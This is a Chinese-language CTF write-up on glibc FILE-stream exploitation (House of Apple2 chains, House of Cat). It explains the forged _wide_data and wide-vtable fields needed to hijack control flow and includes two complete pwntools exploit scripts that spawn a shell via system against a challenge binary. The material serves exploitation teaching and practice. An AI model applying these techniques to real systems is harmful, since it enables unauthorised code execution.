_IO_CURRENTLY_PUTTING: 标记当前是否处于写入状态。

小知识点:

按位与&

二进制下,对应位都是1 返回1 其余返回0,最终返回一个经过按位与运算的二进制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
_IO_wfile_overflow(wfileops.c)—— Gate A / Gate B

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* 清掉0x8,使得是允许写入的 _IO_NO_WRITES: 标记文件流不允许写入操作。 */
{ /* 置位 → 第一行就 return,后面全不执行 */
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}

/* 如果当前不在"正在写"状态,或者没有写缓冲 */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 /* ② 清掉0x800,使得不是处于写入状态 _IO_CURRENTLY_PUTTING: 标记当前是否处于写入状态。*/
|| f->_wide_data->_IO_write_base == NULL) /* ③ 使得write_base:A+0x18 = 0 (双重保险使得代码判定需要创建缓冲区)*/
{
/* 需要缓冲就分配 */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); /* ← 从这里进入终点函数 */
if (f->_wide_data->_IO_buf_base == NULL)
{ ... }
}
...
}
...
}


void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base) /* ①使得buf_base:A+0x30=0 */
return; /* 非 0 → 已有缓冲,直接走人 */
if (!(fp->_flags & _IO_UNBUFFERED) /* ② 清掉0x2,标记是需要缓冲的正常流 */
|| _IO_wide_data (fp) == _IO_wstdin) /* A 必须指堆,不可能 == wstdin → 右半死 */
{
if (_IO_WDOALLOCATE (fp) != WEOF) /* ③ ← 裸查宽表:*(B+0x68)(fp) */
return;
}
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}

触发前我们要伪造号目标fp,或是在堆上创造一个或是改stdout等

触发函数 <–回溯栈函数(exit…..)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
...
fp = (struct _IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if ( ( (fp->_mode <= 0&& fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) ) && _IO_OVERFLOW (fp, EOF) == EOF) /* ← 过这条,就替我们调它 */
result = EOF;/*_IO_vtable_offset (fp) == 0 检查在 glibc 2.34+ 的 flush 里删除*/
...
else fp = fp->_chain;
}
...
}
1
2
3
IO_OVERFLOW(fp, EOF)                                
-->validate(fp->vtable) → fp+0xd8=_IO_wfile_jumps 检查vtable合法
-->(vtable+0x18)(fp,EOF) → _IO_wfile_overflow 自动调用_IO_wfile_overflow
链3
1
2
3
4
5
6
7
8
9
10
利用 _IO_wdefault_xsgetn 函数控制程序执行流:
● _flags = 0x800
● vtable = _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps 地址(加减偏移)
● _mode > 0(即满足*(fp+0xc0)>0)
● _wide_data = 可控堆地址A(即满足*(fp+0xa0)=A)
● _wide_data->_IO_read_end == _wide_data->_IO_read_ptr = 0(即满足 *(A+8)=*A)
● _wide_data->_IO_write_ptr > _wide_data->_IO_write_base(即满足*(A+0x20)>*(A+0x18))
● _wide_data->_wide_vtable = 可控堆地址B(即满足*(A+0xe0)=B)
● _wide_data->_wide_vtable->overflow = 地址C,用于劫持RIP(即满足*(B+0x18)=C)
house of cat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
apple2 链 3(_IO_wdefault_xsgetn)的核心是:共用的基础同链 1——glibc 2.24+ 窄表有 IO_validate_vtable
▎ 校验、宽表 _wide_vtable 完全无校验。

▎ 链 3 不开新函数,而是错位借用合法窄表:把 fp->vtable(+0xd8) 指向 _IO_wstr_jumps / _IO_wmem_jumps /
▎ _IO_wstrn_jumps + 0x28(指针仍在 _IO_vtable 段内,校验通过),使 _IO_OVERFLOW 读窄表 __overflow(+0x18)
▎ 槽位时,错位命中 +0x40 处的 _IO_wdefault_xsgetn(这三张表的 +0x40
▎ 都是它)——这是"合法表领路"的第二种形态:链 1 指表头、链 3 指表尾偏移。

▎ 再伪造 _wide_data(A,fp+0xa0) 与宽表(B,A+0xe0) 两个堆结构,并伪造字段——设
▎ _flags=0x800(_IO_CURRENTLY_PUTTING)(注意与链 1 相反:链 1 清 0x800 让"未在写"进入分配分支;链 3 设
▎ 0x800 让"正在写"进入切换分支——同一个位,两链用途相反);令 A+0x18(write_base)=0 且
▎ A+0x20(write_ptr)>write_base(三重作用:过 _IO_flush_all_lockp 宽流判断、过 _IO_switch_to_wget_mode 的
▎ if(write_ptr>write_base) 才调宽表 overflow、顺带满足读方向);令
▎ A+0x00(read_ptr)=A+0x08(read_end)=0(_IO_wdefault_xsgetn 里 count=0,跳过 copy 防崩);_mode>0(过 flush
▎ 宽流分支 + __wunderflow 的 _mode<0 检查)。

▎ 执行流:exit/fflush → _IO_flush_all_lockp 遍历 → _IO_OVERFLOW(fp,EOF) → 窄表错位进
▎ _IO_wdefault_xsgetn(fp, EOF, n)(第三参 n 取 RDX 残留,必须≠0,否则 more==0 直接 break)→ 内部调
▎ __wunderflow(fp) → 因 0x800 进 _IO_switch_to_wget_mode(fp) → 其内裸查宽表 _IO_WOVERFLOW(fp, WEOF),从
▎ B+0x18(overflow) 槽位取我们伪造的 C 执行 call C(fp, WEOF),拿到 RIP。

▎ 参数:call C 传 两参(rdi=fp, rsi=WEOF,比链 1 多一个 WEOF,对 one_gadget/system 无影响);C 通常选
▎ one_gadget,或 setcontext+61(mov rsp,[rdi+0xa0] 迁栈到 A 打 ROP),要 system 则把 _flags 布成 " sh\x00"
▎ 使 rdi 即命令串。

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int initbuf()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

int __fastcall main(int argc, const char **argv, const char **envp)
{
initbuf();
printf("gift: %p\n", _bss_start);
read(0, _bss_start, 0x300uLL);
return 0;
}

checksec

1
2
3
4
5
6
7
8
9
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No

关键点

1
题目将stdout换名为bss_start,并将其地址泄露,那么我们就获得了libc地址,与FILE结构体的libc地址,就可以进行伪造wide_data vtable等去劫持io流进行攻击了,具体手法看思路与exp

思路

1
2
3
4
5
6
7
8
9
10
11
12
链路一:
通过程序退出,触发栈回溯,执行_IO_flush_all_lockp
-->通过校验(fp->_mode <= 0&& fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp- >_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base )
-->宏IO_OVERFLOW(fp, EOF)
-->IO_validate_vtable检查file_vtable是否合法(修改为_IO_wfile_jumps)合法
-->自主调用(vtable+0x18)也就是对应函数表的overflow函数
-->经过对于flags修改与对于wide_data的buf_base,buf_ptr等的伪造使得代码要创造新的缓冲区
-->于是调用wide_data->wide_vtable->io_wdocallocbuf函数
-->而我们伪造的wide_vtable->io_wdoallocbuf=sys
-->sys(fp=' sh\x00')
-->getshell

exp

对应于

1
2
(_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base ) )
#_IO_vtable_offset (fp) == 0 检查在 glibc 2.34+ 的 flush 里删除
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import os
context(os='linux',arch='amd64',log_level='debug')
BASE=os.path.dirname(os.path.abspath(__file__))
BIN=os.path.join(BASE,'pwn1')
LIBC=os.path.join(BASE,'libc.so.6')
elf=ELF(BIN,checksec=False)
libc=ELF(LIBC,checksec=False)
def GDB():
gdb.attach(io)
pause()
def set(b, o, v):
b[o:o+8] = p64(v)
io=process(BIN)
io.recvuntil(b'gift: ')
stdout_addr=int(io.recv(14),16)
log.success(f'stdout_addr={hex(stdout_addr)}')
libc_base=stdout_addr-0x2045c0
log.success(f'libc_base={hex(libc_base)}')
sys=libc_base+libc.sym['system']
wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
wide_data=stdout_addr+0x100
wide_vtable=stdout_addr+0x200
lock=stdout_addr+0x2e0

ff=bytearray(0x300)# 创建一块0x300字节、内容全 0、可以改的内存缓冲区
ff[0:6]=b' sh\x00' #解释1
set(ff,0x20,1) #write_base 用于system交互后不崩溃的保险,不设置也可以
set(ff,0x68,0) #_chain = 0,用于显示表达chain=0,程序不去遍历其他file
set(ff,0x88,lock) # _lock lock 解释2 必须指向可写的内存
set(ff,0xa0,wide_data)
set(ff,0xc0,1) #_mode > 0
set(ff,0xd8,wfile_jumps)#vtable = _IO_wfile_jumps

#**
set(ff,0x100+0x18,0) #write_base = 0
set(ff,0x100+0x20,1) #?write_ptr > base **#
set(ff,0x100+0x30,0) #buf_base = 0
set(ff,0x100+0xe0,wide_vtable)

set(ff,0x200+0x68,sys)

io.send(bytes(ff))

io.interactive()

对应于

1
( (fp->_mode <= 0&& fp->_IO_write_ptr > fp->_IO_write_base)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import os
context(os='linux',arch='amd64',log_level='debug')
BASE=os.path.dirname(os.path.abspath(__file__))
BIN=os.path.join(BASE,'pwn1')
LIBC=os.path.join(BASE,'libc.so.6')
elf=ELF(BIN,checksec=False)
libc=ELF(LIBC,checksec=False)
def GDB():
gdb.attach(io)
pause()
def set(b, o, v):
b[o:o+8] = p64(v)
io=process(BIN)
io.recvuntil(b'gift: ')
stdout_addr=int(io.recv(14),16)
log.success(f'stdout_addr={hex(stdout_addr)}')
libc_base=stdout_addr-0x2045c0
log.success(f'libc_base={hex(libc_base)}')
sys=libc_base+libc.sym['system']
wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
wide_data=stdout_addr+0x100
wide_vtable=stdout_addr+0x200
lock=stdout_addr+0x2e0#?

ff=bytearray(0x300)
ff[0:6]=b' sh\x00'
#**
set(ff,0x20,0) #write_base显示表达
set(ff,0x28,1) #write_ptr **#
set(ff,0x68,0)
set(ff,0x88,lock)
set(ff,0xa0,wide_data)
set(ff,0xc0,0) #_mode =0 显示表达


set(ff,0xd8,wfile_jumps)
set(ff,0x100+0x18,0)
set(ff,0x100+0x30,0)
set(ff,0x100+0xe0,wide_vtable)

set(ff,0x200+0x68,sys)

io.send(bytes(ff))

io.interactive()

解释

1
2
3
4
5
6
7
8
1 flags:只有32bit,现在的flags (低地址-->高地址)hex=\x20 \x20 \0x73 \x68
1. 当system的命令——fp开头就是 _flags,所以 _flags = " sh", system(fp)弹shell;(空格不会影响system)
2. 当检查位——链 1 要求 _IO_UNBUFFERED(0x2)、_IO_NO_WRITES(0x8)
都清零,否则函数提前返回走不到劫持点。空格 0x20 低 6 位全 0,天然满足。
2 _lock 是 _IO_flush_all 在调 overflow 之前就对它做加锁/解锁操作(lock
cmpxchg [rdi]、mov [rax+8])的指针。它必须指向可写的内存,否则在触发点
call system 之前就先 SIGSEGV 崩掉了。这就是为什么 lock = stdout_addr +
0x2e0——用 payload 尾部一块可写全 0 的空区充当锁对象。